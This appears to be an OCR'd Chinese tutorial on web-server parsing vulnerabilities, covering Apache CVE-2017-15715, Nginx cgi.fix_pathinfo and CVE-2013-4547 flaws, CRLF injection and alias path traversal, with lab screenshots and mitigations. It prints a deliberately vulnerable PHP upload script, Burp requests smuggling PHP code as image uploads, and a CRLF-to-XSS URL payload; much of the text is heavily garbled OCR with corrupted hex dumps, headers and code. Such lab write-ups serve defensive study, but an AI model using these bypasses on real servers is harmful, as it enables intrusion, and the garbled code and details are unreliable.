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Apache HTTPD #17f##7 iR (CVE-2017-15715)

AR 2.4.0~2.4. 29} A
85: phpstudy2014 Apache + PHP5.4n

SEITATE RIRA TR R, 72T ¢, IENZE b AMUTAL 45 8 45 R AL, AT BATTAC\n 2R \r

FEMRHTPHPI . 1.php\WOAE 4 12 I PHP S SR HEAT AR AT, 3 S5t — BB IR 5595 1) 2 4 s

<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>

TRACES:
<html>

<body>
<form action=

method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="text" name="name" />
<input type="submit" value=" bf&3CfF" />
</form>
</body>
</html>



<?php
if(isset($_FILES['file'])) {
$name = basename($_POST[ 'name']);
$ext = pathinfo($name,PATHINFO_EXTENSION);
if(in_array($ext, ['php', 'php3', 'php4’, 'php5’
exit('bad file');

‘phtml’, ‘pht'])) {

}
echo "ok"
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);

}
2>
'
|| Reauest Response
i [ Raw | Params [ Header | Hex Raw | Headers | Hex | HTuaL | Render
Acceps -Languags: s Clah; 1=0., en-T3;q=0. 5, 5n; 40 Jun 2018 11:26:00 GHT
Accept-Tncoding: g ip, deflave Serves: Apacher.d.10 (WiniZ) Gpen3SL/0.5.Gsh med_fegid/2.3.5
. 1 K PomercdBy. PEF/S.4.93 =
Referer: hoep://127.0.0.1/upload phy Comnection: close
X-Fowarded-For: 8.5.5.5 ConeenteType: cexe/heml
Tore Comtent-Longeh: 245
Tpgrade-Inseeuze Requesta: 1
Comens=Type: amlespsxe/ fommmdaea; <nent>
| Bewniar -1101uesa100828 <bedy>
{ Concent-Lengen: 238 <om accio
Cingut typ
- Li011iesa130sze <inpus Type="vexs nam
Comtens-Dispesivion: fomn-dazs; name='£ile’; £ilenume='phpinfs_php" inpue typestsamics valy
Concanc-Type: spplicsvion/ scvet-sezcan </ torm>
</mody> WEE FEQ
<oy <> = =
3 prpineen); pea £ie http:ff127.0.0.1/opload php X

- SERIEEPLER) —
Contenc-Disposicion: form-dacs; name='mane , €)3 |0 FoiE BRI fm]| @ [ &8s & &
: AN fhex 2 2e, SRS 3 \&,

phpinte phy *—I’u I e mjrﬁf]he‘xEZE’ ”‘:)EM%ZEEI& §0a INT =| = & SGLBASICS- UNON BASED- ERROR/DOUELE QUERT- TOOLS- WAF BYPASS- EHCODING- HIML- ENCRIPTI

@ Logd UKL (127.0.0 1.60/upload php

v
@) (&) ) @) rremren 5 motoes 0 ® o
Done -

I Post dste [ Referver B O:IEX 3 @mr SUEL 3 @ BASESY W [rrcore oo
it QFF - Alockies~ L0585~ [JRE- @EN- OFRER- EEuME- Jmi- J8N- KTA- mEEEE
qms JIETCREFT + Services \ [Ho infornation available]

(el

3 H1¥... | phpinfo.php phpinfo.php e

REGoJE, AR

Go Cancel < v > v Targeat: hitp:127.0.0.1 E‘“EJ

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex [ HTML | Render
0 Od 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d L) FITE/L.L 200 0K 201R l:
21 2d 2d 24 2d 2¢ 2d 24 2d  2d 2d 2d 24 2d 2d 24 31 1 r gt gsyﬂﬁu’ﬂ,?ﬁzb mad_fegid/2.3.9
22 330003 3 3 3w 3 M 31033 30 39 32 36 04 0a  10111894130028 R-Powered-By: PHP/$.4.33
23 43 Bf Be 74 65 Be 74 2d 44 68 73 70 6f 73 63 74 ContentDisposit E:x:‘:f;”ﬂ:'::ﬁm]
29 B8 6&f Be 2a 20 B6 6f 72 6d 2d B4 B1 74 B1 3b 20 ion: form-data; Content-Length: 547
25 Be B1 B4 B5 34 22 86 69 B B85 22 Ob 20 B6 B9 Be  name=“file";fil
2 85 6: o1 64 65 3d 22 70 63 70 69 Ge 665 6 2e 70 ename="phpinfop :::’;:;
27 68 70 22 0d Oa 43 Bf fe 74 B5 fe 74 2d &4 79 70 hp"ContentTyp <fozm action="" methed="post" enctype='multipazt/Eozm-data">
28 B5 2a 20 B1 70 70 fBe 69 63 61 74 B3 6&f Be 2f 6f e: applicationfo <input typ.
2 B2 74 B5 74 24 73 74 72 65 61 64 0d 0a 04 01 3¢ ctebsteame e ot et
2a 3 70 86 D 04 Da 20 TO B2 7D 69 Be 65 & 23 20 Pphp phpinfod </eorws TLEFIHIL Toks & TEEEHM- FEEHEMVarning
2b 3b 20 0d Da 3f 3e Od Da zd 24 2d 2d 2zd 2d 2d 2d P ::":::;:‘IJ: 8 HRIFTHEE. @ rs B ERET R B
2o 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d - -\ ok<br /> ﬁﬁﬁ%EmYﬁ:ﬁgﬁﬂ! &tﬂ%xﬁréﬁqg*mﬂ
2d 2¢ 2d 24 2d 24 31 3 0 31 3 M B W 34 M 3 1011168413 <b3Warning</h>: move_uplonded_file(. /phpinfo php
2e 30 3@ 32 W 04 0a 4 6f Ge 74 65 Ge 74 2d 44 89 092SContentDi 10 failed to oper Irvalid arqument in
2t 73 70 o1 73 63 74 89 6f Be 3a 20 68 Bf 72 Bd 2d sposition: form- ::zic/ :m\“l’l"d Php</b> on line <b>18</ba<hs />
=0 B4 61 74 B1 3b 20 fe B1 6d B5 3d 22 Be B1 Bd 65 data; name="name <b>Warning</h>: meve_upleaded file(): Unable to move
31 22 0d 0a 04 Da 7O B8 TO B0 Be B5 6f 2= 70 B9 70 “phpinfo.php !C: \WIHDOWS \pp21 tmp! ko ' /phpinfo. php
= 04 0s 2d 24 24 24 2d 24 24 2d 24 2d 24 24 24 ) ' in <h>C:\WWW\upload php</b> on lire <h>18<¢/h<hr /> F
33 ’ 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d - ﬁ o L]
24 31 31 30 M 31 31 3 3| 34 31 33 30 39 52 3 24 110111994130920- U u u u Tyoe 3 searh tem 0 matehes

Done 757 bytes | 15 millis

AR FARESAELinux R BEAT I, AT LUIER 5N

Go Cancel < v > Target 180 LIJ w
Reqguest Response
Raw Params Headers Hesxo Raw Headers Hex
Ta ) 34 31 3 30 99 32 36 04  110111663130828 T HITE/ 11 200 0K [
1t 02 4 & 8: 74 85 8e 74 2d 44 &9 73 7O & 73 69 ContentDispesi 2:3;:.5‘"2;.;;/’1“;135‘Efﬁi\f: st r
20 74 89 Bt B: 3a 20 65 &f 72 64 24 64 61 74 &1 3b  tion: formedata; X-FPowsred-By: PHF/S.5.70
21 20 8e 81 B4 B85 34 22 66 62 6c 65 22 3b 20 66 69 nams=filendi Content-Length: 0
22 Gc 65 Be B1 B4 65 3d 22 0 62 7O B0 Be 65 6f  2e  lename="phpinfo. §Z$Zf.§f¥’;1;=.“':§wm1
23 70 88 0 22 04 0s 43 & Ge 74 65 6z 74 2d 54 79 php'ContentTy
24 70 85 3a 20 &1 70 70 6 62 63 61 74 62 6 6e 2f  pa:applicationt
25 & 83 74 ©5 74 24 73 74 7z 65 61 6d 04 0a 04 Oa octetsheam -
2 3¢ 3 70 66 70 04 0a 20 70 68 O 62 Be 66 6 28 <7php phpinfol . = N — .
27 20 3b 20 04 0a 3 3= od 0a 2d 2d 2d 2d 24 2d 24 %7 Llﬂllx?ﬂfﬂ L/LE‘.%%‘—? )\E,‘]
2 24 24 24 24 24 24 24 2d 24 24 24 24 24 2d 24 24
20 24 24 24 24 24 24 3| H I TR VIRNE-CHET S I~ I 1101118941
za 33 30 3:@ 32 3/ 04 0a & 6 e 74 65 B 74 2d 44  30826ContentD
2t g2 73 70 Bt 73 ea 74 69 6 Ge 33 20 66 & 72 64 isposition: form
zc 24 84 81 T4 81 3b 20 6 61 64 65 3d 22 6e &1 64 -dataname="nam
24 65 22 04 0a 04 0a 70 €8 70 63 Be 66 &f 2e 70 68 e'phpinfoph
ze 70 04 0a 24 24 24 zd 24 24 24 24 24 2d 24 24
2t 24 2824 24 24 24 24 2d 24 24 24 24 24 2d 2d 24 - 'y
20 24 3 3 3,0 M M M 30034 3 3@ 30 39 32 36 -110111694130926 = —
21 24 24 04 08 - - - . . LJ u LJ u Type 2 searh temt 0 matches
Done 177 bytes | 47 millis

iz



Reqguest Response

Raw | Headers Hesc Raw | Headers Hesc HTML Render

GET /phoinfe. phpla HTTP/ 1.1 e ] dpal:neznanmm s
Hose: 118: 8080 r
User-Agent  cow.:la/5 0 (Windews T 5.2; rw:48.0) Gecko/20100101 Firefos/48 0
Becept: wexe/henml, appl icar ion/sEheml+un]  appl icarion/sml ;q=0 €, 4 *; q=0.5
Aecepo-Language: sh-CH,sh;q=0.5, en-US;q=0_5,en;q=0.2 -
Accept-Encoding: gsip, deflate Apache Apachef2.4.10 (Debian)
oom: 1 lersion
X-Tarwazded-For: 0.0.0.2
Connection: close Apache API 20120211
Upgrade- Insecnre-Requeses: 1 3
Pragma: ne-cache lersion
Cache-Conezal: mo-cache

server webmaster@localhost

Administrator

{ostname:Port | 1

JseriGroup www-data(33)i33

Wax Requests | Per Child: 0 - Keep Alive: on - Max Per Connection; 100

L
v - b

limeouts Connection: 300 - Keep-Alive: 5 v
ey Omatches | [N T 7 Y
Done 81,520 bytes | 04 millis

| ewlesd e o

CitFrogran Fils... | ) C:\Program File. . | @ Mozilla Fivefor |[W Burp Suite Prof... 4, C:\iMiphpingo.... | 40 C:\f¥Hhupload p 4, C\Progran File . | 3 phoStudy

iﬁﬂ%mﬁ]ﬁﬂ)\,ﬁﬁFm Ctrl+G, @

m

Bl SRERCAE AR ANHEHIS_FILESfile'][name’], [*UJ‘L‘%I'IZJJMWMT'A:%"!Q
— — =T

o )| [l 2 |

<heal>

1
2 <woip anee | (<17 Target vtz 004 (2] (2)
5 <form action="" methods"post” enctypes"multipart/foru-date"> ==
a i e, Reduest Response
ER et > i
6 <input types"submit Catue i st /> [[Raw | params [ Headers | ex Raw | Heades | Hex | HTML | Render
7 stoms
o cmoin = o @ a1 a1 3 @ w4 51 » % 2 2 m 05 0w T o 0
5 </meals 2 @ o 6 74 o5 6 74 20 44 G 73 70 of 73 63 74 ContentDipost ¥ O oo om mantegiire s

10 <zphp 2 o o e 3a 20 6 6 72 64 20 54 61 74 61 3 20 ion fomdats
11 if(isset(s_FILES['file']}) ( 25 oe o1 cd o5 34 2 oo oA G 05 2 M 2 6w 6 6 W
12 //inese = basensne(s_POST[ 'nane! 2 65 te 61 64 65 3 2 70 69 70 63 6e o8 o 2 70 Shpintop
15 fname = §_FILES['file ][ ‘mane']; < 7 69 70 2 04 02 @ of 6a 74 05 60 74 20 54 70 70 hpContntTyp
14 §ext = pathinfo(¢naxe, PATHINFO_EXTENSION) ; 65 3 2 o1 M 0 oo o9 63 61 74 03 o Ge 2 Of a applistons
15 el ey ey Ly, D WA S S SN (3 e 8 e s Ts 74 72 65 01 06 04 03 0u G S ckeans
16 exit('bad file')iq 2 o 70 69 70 04 02 20 0 6 70 69 6e 66 6 2 20 ohpphpintd
[ 2 G 20 04 0a 3 3 04 0 24 2 20 24 20 20 20 2 %
10 echo "ok"z 2o 26 20 20 20 24 24 20 24 20 20 20 20 20 24 24 20
19 move_uploaded_file(§_FILES'file'])['tap name'], './' . fneme); 20 24 24 24 24 24 31 31 30 31 31 31 3/ 3 34 31 ]/ 11011169413
o 2 0 3 % 3 04 02 @ o 0 74 05 0n 74 24 44 63 OWComantDi
730 e 73 09 74 o9 o 6e 3 20 05 of 72 64 20 spostionctom.
[Fer  Pla | 00 FC 64 61 74 61 3 20 0e o1 64 65 2 22 66 61 6d 65 datsnamesrname
ToraTTon 3 22 04 02 04 02 0 68 0 69 Ga G0 3 o 20 70 63 “pheintioph
i 7 3 70 [0a]os 0a 24 20 20 20 24 20 20 24 20 20 20 2 p
3 20 2ee20 20 20 20 20 20 20 20 20 20 20 24 24 20 e v
3 2 31 31 @ 3 3 3 M 2\ A M WD W @ B 101116940028
[ 3 20 20 04 0a v 2] ) G [eemsmnem Omatohes
PET Done oa bytes
« Eam
ERRE Tt (BE. G prosas Tiles phpsuer pacie B3 1cont S5
e | 2300 TIEA (o

EE

1. FHEEIECHRA

2. BCRE AR BRSO i 44 R R I TR B+ AT+ jog R SO F AR T AR S0 B ST AR «
Nginx

Nginx /& — i 2% (I Web IR 4588/ I [ A ER IR 55 2% B T2 (IMAP/POP3) RERR %%, EBSD-like Ml F&AT. HR AR A WA, HERE 9,
2 _Lnginx(t) I fiE 7 1 S TE [ S 7R 10 109 TR 55 4% v R BLASC4F

Nginxfc & SC-45 % T 20 i b iR TR

X FARR S, TR R INoxphp Qoo IER ) Ji, BT S A php i
fil: info.jpg)i i N _E/ox.php,  £x¥info.jpg Lhphpfitf »

X B A Fiphpstudy2014 , Nginx + PHP5.3niE 47 & (LA 1 52 5045 T 591 156 W 240 R i IEL A 855
ZiR:



RE - -
D RE - 127.0.0. 1/info. jpa/mex. php o L—‘ ®| #wE |1‘} B 4+ & » =
HbE ) | o
E k’cwr + Serwicest ‘ [Ho information awailable]

(5] arror—cutr
= [1mr v| = & SQL- XSS5~ Encryptiens Encoding- Other-
[#] Eileincluc

[ info.php.x gz Load VRL | hitp://127.0.0.1finfo. jpefuxx. php -

=]ip. phy . +
B sa & Sl
(B|phpinfo.pt '/ Execute
] shell. php [~ Eneble Post date | Enable Referrer
mz}‘il :“ _SERVER[ "SCRIPT_NAME "] no vaive |
Bs:h'jl’;m_ _SERVER[ "REQUEST_UR1 "] /infa. jpedn phe
) =ali_bline _SERVER[ "DOCUMENT_UR1"] /info. jpe/xo:. php
%] ssr£3. php _SERYVER[ “DOCUMENT_R0OOT "] oY
%] ssrf.php _SERVER[ "SER¥ER_PROTOGOL "] HTTRAT 1
%::;::::fn _SER¥ERL"GATERAT_INTERFACE "] oRIA 1
“plmd_ hir _SERVER[ “SER¥ER_SOFT¥ARE "] rginxd1.6.2
3] xe. php _SERVER[ "REMOTE_ADDR ] 127.0.0.1
#]info. php _SERYERL "REMOTE_PORT "] 1733
B info. iz _SER¥ER[ "SER¥ER_ADDR ™1 127.0.0.1
_SER¥ER[ “SER¥ER_PORT "1 a0
_SER¥ER[ “SER¥ER_NAME "1 lacalhast
_SERYERL"RED IRECT_STATUS ] 200 .

_SERYER["HTTP_HDST"] 127.0.0.1 -
| 3

TENGInXEC B T 28, HNgintEZA TSR, T2 WL HIRRACE .

server {
location ~ \.php$ {
root /work/www/test;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME
$document_root$fastcgi_script_name;
include fastcgi_params;

fastcgi_pass unix:/tmp/php-fpm.sock;

21t Vi ) finfo.jpglox.phpl,  Nginx#s 2 FURL, 7 %'t Lh.php4t 2, IH# 214164 PHP fastegidb #EF2 5 .
Nginx{& 45 php 1 #64% A c : /www/info. jpg/xxx. php,

fEphpinfor i LL#5% _SERVER[ "ORIG_SCRIPT_FILENAME" ]35I,

orim [

©  0WL DABALAT UNLUN DASLUT GAMULSUUUDLE HUELLT LUULST AP DIFA33T ENLULLNGY MUMLT ENUALEILUNT ULIELT  AS3T LILT

| & Load UEL (127.0.0.1:80finfa. jpefuex. phe
80 e

v Executs

g [~ Post data [ Referrer < OxHED wm g SURL wm @ BASEGd W |T..0t ctring to repl)
_ @A Rlockies~ sosEv [JEE- WES- GFRER- OEWMDE- SFE- SEN- KTA- @mEEENE- 0 EE-

Insert replacing strii [ Replace A1l N |,

: )’cwr - Services [Mo infermation available]

) _SERVER[“HTTP_ACCEPT_ENCODING™] gzip deflate

] _SERVER[HTTP_DNT"] 1

" _SERVER[“HTTP_X_FORWARDED_FOR"] 8888

; _SERVER[ "HTTP_CONNECT 10N"] close

i _SERVER[“"HTTP_UPGRADE_| NSECURE_REQUESTS] |1

& _SERVER[“OR|G_PATH_INF0"] no value
_SERVER[“OR|G_SCRIPT_NAME"] finfe. jpg/xox. php

1 \ == MW /info. jpghoo oo

Y _SERVER[”OR|G_PATH_TRANSLATED "] c:
_SERVER[“PHP_SELF ]
_SERVER["REQUEST_TIME"] 1561258070

PHPHUEURLILE, 7215 4 1Tk php3c i, (HZxox phpAE7E, X Tcgifix_pathinfof AR TF 0, PIILPHP &34k 4k A 3 P AELE S0 PE, IR
LRI 21E PATH_INFO, #54PHPYE SCIE R G b4k 2 jog S, 15 LAPHPHITE RANAT Jog I 7, IFH5 oo phpfE6i 75 PATH_INFO J5 £33, [Hut3kdil
{Ephpinforf ) $_SERVER[ ' PATH_INFO' ] £ [ El{H Jy

Note:phpif) — AN £ : cgi.fix_pathinfo, ZEBERINFF G, A1, HTEMEER,
Bilhn: 4phpi £ PEE R " linfo.jpg/xx.php/ixh.secit,  #5"/info.jpg/xx.php/ixh.sec" NFLE, 42k )5 19" Ixh.sec”, #AJ5 Il "/info.jpg/ox.php" & 75 47
{E, #AFAE P finfo.jpgloc.php 24 1F 34 finfo.jpg/xox.php/ixh.sec,  #i/info.jpg/xox.php i ASAELE, T4k 4 25 oo php, 1 2 HE

(C3-3:378

1.1ic. # cgi.fix_pathinfo(php.init) 405 & i php-cgife /7



mDhIJ. ini - i@
SRR dRiIE(E) REEh(o) EHEFW) BN

=10l x|

; cgi.nph =1

. cause security issues, KNOW WHAT YOU ARE DOING FIRST
. cgi.redirect_status_env = ;

- this to 1 will cause PHP CGI to fix it’ s paths to conform to the spec
to nse SCRTPT_FTLENAME rather than PATH TRANSLATED.
. cgi. fix_pathinfo=1 s .
LR, HHAANCHO

. security tokens of the calling client. This allows IIS to define the

; security context that the request runs under. mod fastcgi under Apache
- does not currently support this feature (03/17/2002)

: Set to 1 if running under IIS. Default is zero.

2l |

EES]

http://127.0.0-=info. jpaf. php *

=
i\(-jl. 127.0.0.1/info jpz/ php & C“®|O\3‘£§ |ﬁ |

METCRAFT - Services- | [Ho information available]

IHT >l = @& BEQL- X35+ Eneryptions Encodingr Other-

o) Lead VBL | hetp //127.0.0.1finfo. jpafuen. phl
0 selit uRL
¥ Execute

[~ Ensble Post data [ Enable Referrer

Access denied

2.5 01 S 7 24 Bl cgi.fix_pathinfoix M (. Wordpress) , T4 AT LA IE [ 4% F 3 BT AL .
OB ASTERE I N A S Sy B, RIS

3.5 A PHPHE (It T security.limit_extensionsix ML E 24, 1% security.limit_extensions = .php

Nginx == 2 {F B ARE AT IR IFE
FZMRRAS: Nginx @.5%, 0.6%,0.7 <= ©.7.65,06.8 <= 0.8.37
X LR EAT 647 (FWindows # 5E Nginx 0.7.65+php 5.3.2

HEz: https://pan.baidu.com/s/1FUVIvOIF CcX9Qp5D5AMXKw
PEIS: imdm

fiftl k)5, {ENginxH 3¢ R4 {Tstartup.bat
SRJGfEnginx-0.7.65/html/ H 3% Ff&info.jpg, N % A <2php phpinfo();?>,

Vil info.jpg, JFINE, BN info.pg. .php, fEHeXIEE R iEjpg/aiHift ., EiXee.

. if cgi. force_redirect is turned on, and vou are not running under Apache or Nets
- (iPlanet) web servers, vou MAY need to set an environment variable name that PHP
; will look for to know it is OK to continue execution. Setting this variable MAY

. cgi. fix pathinfo provides #reals PATH INFO/PATH TRANSLATED support for CGI. PHP

. previous behaviour was to set PATH TRANSLATED to SCRIPT_FILENAME, and to not gro—!
- what PATH INFO is. For more information on PATH INFO, see the cgi specs.
A settin
; of zero causes PHP to behave as before. Default is 1. You should fix vour scrij

- FastCGI under IIS (on WINNT based 0S) supports the ability to impersonate

Settis

o

LI 3

Note: %A% cgi. fix_pathinfo i, I AONS, HKIHMEHT.

BEREW

Go Cancel < |v >|v Target: httpi//127.0.0.1 ww
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render.
0 47 45 54 20 27 60 Ge 66 6f 2e 6a 70 67| 00 26 70 GET /infojpgp [s B [
1 68 70 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6 73 hpHTTPA.1Hos I
2 74 32 20 31 32 37 2 30 2 30 2¢ 31 0d 0a 55 73 1127.00.1Us Directive Local Value Master Value
3 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c er-Agent: Mozl cgi.check_shebang_fine 1 1
4 61 21 35 2 30 20 28 57 69 Ge 64 6f 77 73 20 4e a/5.0 (Windows N T 2 B
5 54 20 31 30 2e 30 3b 20 57 60 6e 36 34 3b 20 78 T10.0; Wine4; x e e s 5
6 36 24 3D 20 72 76 3a 36 32 2¢ 30 29 20 47 65 63 64;1V620) Gec
7 b 6f 2f 32 30 31 30 30 31 30 31 20 46 63 72 65 ko/20100101 Fire Caores redvert 2 £
8 66 6f 78 2 36 32 2e 30 0d Oa 41 63 63 65 70 74 fox/62 OAccept LI 0 2
9 3a 20 74 65 78 74 21 68 T4 6d 6c 2c 61 70 70 6c : textntmlappl cgiredirect status_env 1o value o value
a 69 63 6174 69 6f Ge 2f 78 68 74 6d 6 20 78 6d cgLrTe2616_headers 1 1
b Bc 2c 6170 70 6c 69 63 61 74 69 6f 6e 2f 78 6d | rast 1 1
c 6c 3b 71 30 30 2e 39 2c  2a 2f 2a 3b 71 3d 30 2e [q=0.97*q=0 rastegilogging T 0
d 38 0d Oa 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 8AcceptLangua
e 67 65 3a 20 7a 68 2d 43 de 2¢ 7a 68 3b 71 3d 30 ge:zh-CN.zhig=0
f % 38 2c 7a 68 2d 54 57 3b 71 3d 30 % 37 2 7a 8zh-TWq=0.7z
10 68 20 48 4b 3b 71 3d 30 2e 35 2¢ 65 6e 2d 55 53 h-HK(q=0.5.en-US com dotnet
11 3b 71 3d 30 2 33 2c 65 6e 3b 71 3d 30 2 32 0d g=0.3.enq=02
12 0a 41 63 63 65 70 74 2d 45 Ge 63 6 64 69 6e 67 AcceptEncoding
13 3a 20 67 7a 69 70 2c 20 64 65 66 6c 61 74 65 0d : gzip. deflate COM support enabled
14 0a 43 6f 67 6D 69 65 3a 20 48 6d 5 6 76 74 5f Cookie: Hm_Ivi_ DCOM support disabled
15 37 62 34 33 33 33 30 61 34 64 61 34 61 36 66 34 7b43330addadabis Met support ot present n this build
16 33 35 33 65 35 35 33 30 38 38 65 65 36 61 36 32 353e553088ee8ac2 L
17 3d 31 35 35 39 35 35 33 31 32 38 0d Oa 43 6f 6e =1559553128Con 5 \” Directive [ Locatvawe | master vaie -



https://pan.baidu.com/s/1FUVJv9iFCcX9Qp5D5AMxKw

FHENginxi A

Nginx {4 4 2 # % (CVE-2013-4547)

SR As: Nginx 0.8.41~1.4.3/150~157

FEWindows 3 T ANFRYE, 5 R B BLESCAR 44 )R TAFTE 2 %, Windows & AN o VEAFFERLSCAFY, BRILIX A B, #E I Vulhubffidocker it 75 Bl

Vil http://your-ip:8ese/ AL

Request Response
[Raw | params | Headers | Hex [Raw | Headers | Hex
POST / HTTP/11 . HTTP/1.1 200 OK D
Host: P Server nging/142 2
Content-Length: 260 Date: Tue, 25 Jun 2019 0943.05 GMT
Cache-Control: max-age=0 Content-Type: test/html: charset=UTF-8
Origin: ht Connection: close
Upgrade-Insecure-Requests: 1 X-Powered-By: PHP/5.6.30
Content-Type: multips deta; bound " lbVpeshEw Content-Length: 63
User-Agent: Moxzilla/S.0 (Windows NT 10.0; WOW64) Apple!\ebKit/537.36 (KHTML, like Gecko) Chrome/74.03729.169
Safari/537.36 (o) g
Accept 2
testihtrm,appl e, =03, b *rq=08 applic dexchanger
=63
Peferer |
ccept-Encoding gip, deflate |
Accept-Language: zh-CN.zhiq=0.9
Connection: close
= P
Content-Disposition: form-data; name="ie_upload; filename="nfo g "
Content-Type image/jpeg
<7php ipe BEMATH, BF EEHXHEM info. jpeTH]
// Show all information, defaults to INFO_ALL
phpinfa0;
y
P <
L L
v v
2] (<] (2] (2] [wpe a searontemn | omacnes | [2] (<] [+][>] [meeasearcniem 0 matches

Done

245 byles | 36 millis

Vil http://your-ip
#iGo, R .

Request

[ s [

Response

| Raw | Headers | Hex [ HTML | Render |

:8080/uploadfiles/info.jpg, HNEL, B Ninfo. pg...php, fEHeXIEAE Kt jpg i 1HI (K A 4 2e U 20, 00

0 474554 20 21 75 70 6c 6 61 64 66 69 6C 65 73 GET /uploadiiles E

1 2 60 6e 66 6f 2e Ba 70 7info jpg php

2 48 54 54 50 2 31 2e 3 TTP/.1Host

A LA LE ) -

3w a = — Configuration

5 | b 0 ecure-Requests:

6 310U UL LU 36U sz L = u Lo oe 74 3a 20 40 1UserAgent M

7 6f 7a 69 6c 6 61 2f 35 2e 30 20 28 57 69 6e 64 ozla/5.0 (Wind i

8  6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 41 57 owsNT 10.0; WOW

9 353420204170 70 60 65 57 65 62 4D 69 74 2 64) AppleWebKi

3 353337 2e 33 3520 28 4b 48 54 4d 4c 2¢ 20 6¢ 537.36 (KHTML |

b 69 6D 65 20 47 65 63 6 6 20 20 43 68 72 6f 6 ke Gecko) Chrom Lt

¢ 65 2 37 34 2e 30 2e 33 37 32 30 2 31 36 30 20 e/74.0.3720.160

d 5361666172602 35 3337 2 33 35 00 0a 41 Safar/537.36A Droctive Lowsl Vekee

e 63636570 7432074 6578 74 2 68 74 60 6¢ ccept texyntml

' 2c 61 70 70 6c 69 63 61 74 69 6f be 2 78 68 74 . = J
10 6d 6c 2b 78 6d 6c 2c 61 70 70 B¢ 69 63 61 74 60 mi+xmiapplicati St ko) g 0
11 6 Ge 2 78 64 6c 3b 71 30 30 2Ze 30 2c 60 6d 61 ONKMIG=0.9.ma coiforce_redirect 1 1
12 67 652 77 6562 70 2c 60 6d 61 67 65 2f 61 70 ge/webpimage/ap cotnph o o
13 6e 67 2c 2a 2f 2a 3b 71 3d 30 2e 38 2¢ 61 70 70 ng.rq=0.8.app " e

14 6c 69 63 61 74 69 6f 6e 2 73 69 67 6e 65 64 20

15 6578 63 68 61 6e 67 65 3b 76 3d 62 33 0 0a 41 exchangev=b3A Coi ° o
16 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-Encoding fusteglarror_hesder

17 67 7a 60 70 2c 20 64 65 66 Bc 61 74 65 00 0a 41 gzip, deflateA fastegilogging 1 1
48 G £a R 074 N4 e G4 Ga £ 76 GA 7GR 2 00 cecntlananane: ¥ | e JT

Done
Note:i% il 1% cgi. fix_pathinfo i, 43 NOM, KIFMHT, 7EWindows LA kR .

BEREEW

1. % Esecurity.limit_extensions = .php
2. BJHiNginx

Nginx fic & 5 % 5 2 22 4 1) /R

CRLFEA

AAENGINCCRY, AT LUR A = A FoRurif e & .
1.8uri

2.$document_uri

3.$request_uri

VRN KRR LU IR SR, A 2EG SFORIE EHIURI (B TS
Nginxzx K1, 24T RS, Btk N %0a%0dEI ] 5| NHAT R, 1B CRLFVENIR .

HRALE:

85,566 bytes | 104 mi



P nginz. conf - ifHEAK
MPFE) FEE BR 0 EFW MERW

b
Ix
5
|3

client_max_body_size 188m;
client_header_buffer_size 256k;
large_client_header_buffers 4 256k;

server {
listen

Server_name 1m;:a1hnst; E EE E E;ﬁ‘ % Eﬂ J: :[‘ ‘}JD jz —_— &‘:T—‘ f{%— ‘%‘ ,

#access_log logs/host.access.log main;
root oAU
location /7 {
[ veturn 382 https://$hostiuri]; |
index 1index.html index.htm index.php 1l.php;
autoindex off;

#error_page 4By £404 _html ;

# redirect server error pages to the static page /58x.html
3
error_page 500 5082 503 504 /50%_html;
location = /58x.html {
root  html;
H

# proxy the PHP scripts to apache listening on 127.8.8.1:88
"
#location ~ \_php$ {

K]

L]
S
=

]

feharset kois-r; H 5228 7 ikht tofJiE R Flht tps b -

.

s J e J [ e | @ Flocked | 2 phpStudy I o+ Rig gimnd | B Furp 5 I|3 e

Vil s
http://127.0.0.1/%0aX-XSS-Protection:%200%0a%0d%0a%0d%3Cimg%20src=1%20onerror=alert(/xss/)%3E
H3 9142 (¥ Locationsii I B 9/ T80, EAGM BT 25 ANHEATBERL . $UATXSS.

| $5urp Suite Professionsd v17 54— Tonporary Project —licensed to surferaye

¢ Burp Intuder Repeater Window Help

Target | Py | Spider | Scanner I Intruder I Repeater I Sequencer T Decoder T Comparer T Extender I Projest options r

J Intercept T HTTF history TWEhSuckEE histany T Options ]

Response from http:/M127 0.0 1:20/%0ax- XSS Protection: %$200%0a%0d%0a%0d % 2Cim g ¥ 20sre=1%200nermo = aleffes % 2E

l Fonard J { Drop J [ Intercept is on ] Action Come,

Raw [ Headers [ Hex [ HTML | Render

S HITP/ 1.1 202 Moved Temporarily

Server: ngime/1 6.2

Date: Sat, 11 May 018 0I:18:04 GMT
Content-Type: text/homl
- Content-Length: 160

Connection: close
Location: hetps://127 0.0 1: 75/ gy,
X-X55-Protection: 0

<img sre=l onerror=alert(/zss/)>
'

<kl >
<head><title>302 Found</titlex</head>
<hody bgcelor="white'>
<center>ch1>302 Founde/hlsc/center>

. <hrr<centersngink/l.6.2</centers

T </ body>
<f hveml >

? < + 5 | | 7yoe 5 seamh temn

B

|slvme@e



_Ti-:f*lizl WED HEW BEO D TED #BW

H  Bup Suite Bro : I
@) (i) 127.0.0. L/40AN-¥S5-Frotectic £ | X | (] |Q BE ‘ B 3 @ #2 |- B » =
MMETCRAFT - Servicess | [Ho information availablel 1
o -] = @ L. XS5+ Eneryptions Encodingr Other- L

gl Load URL | http://127. 0.0, 1/40aX-R55-Protection: $200%0 <40 440 a%0 d%3Cingkelsr o= 1%200onerr ox=aler t [/xss/ J43E -
B splic R
) Exzecuts

[~ Enable Fost data [ Enable Referrer

EERHRE 127.0.0.1 FIEHEE. -

BEREK

location / {
return 302 https://$host$request_uri;
}

H S5l
Nginx(E LB % (Alias) ORI, MR, Hitine— R R

HR I BCE SR B A H 208 Tk U7 1R BIC:/ WWWihome/ H 3 FHISCHD

location /files {
autoindex onj
alias c:/WWW/home/;

IHT | = & =gl ¥SS- Encryptione Encodings Other-

& Load URL | http://127.0.0. L/ files. /| -

Lk Execute

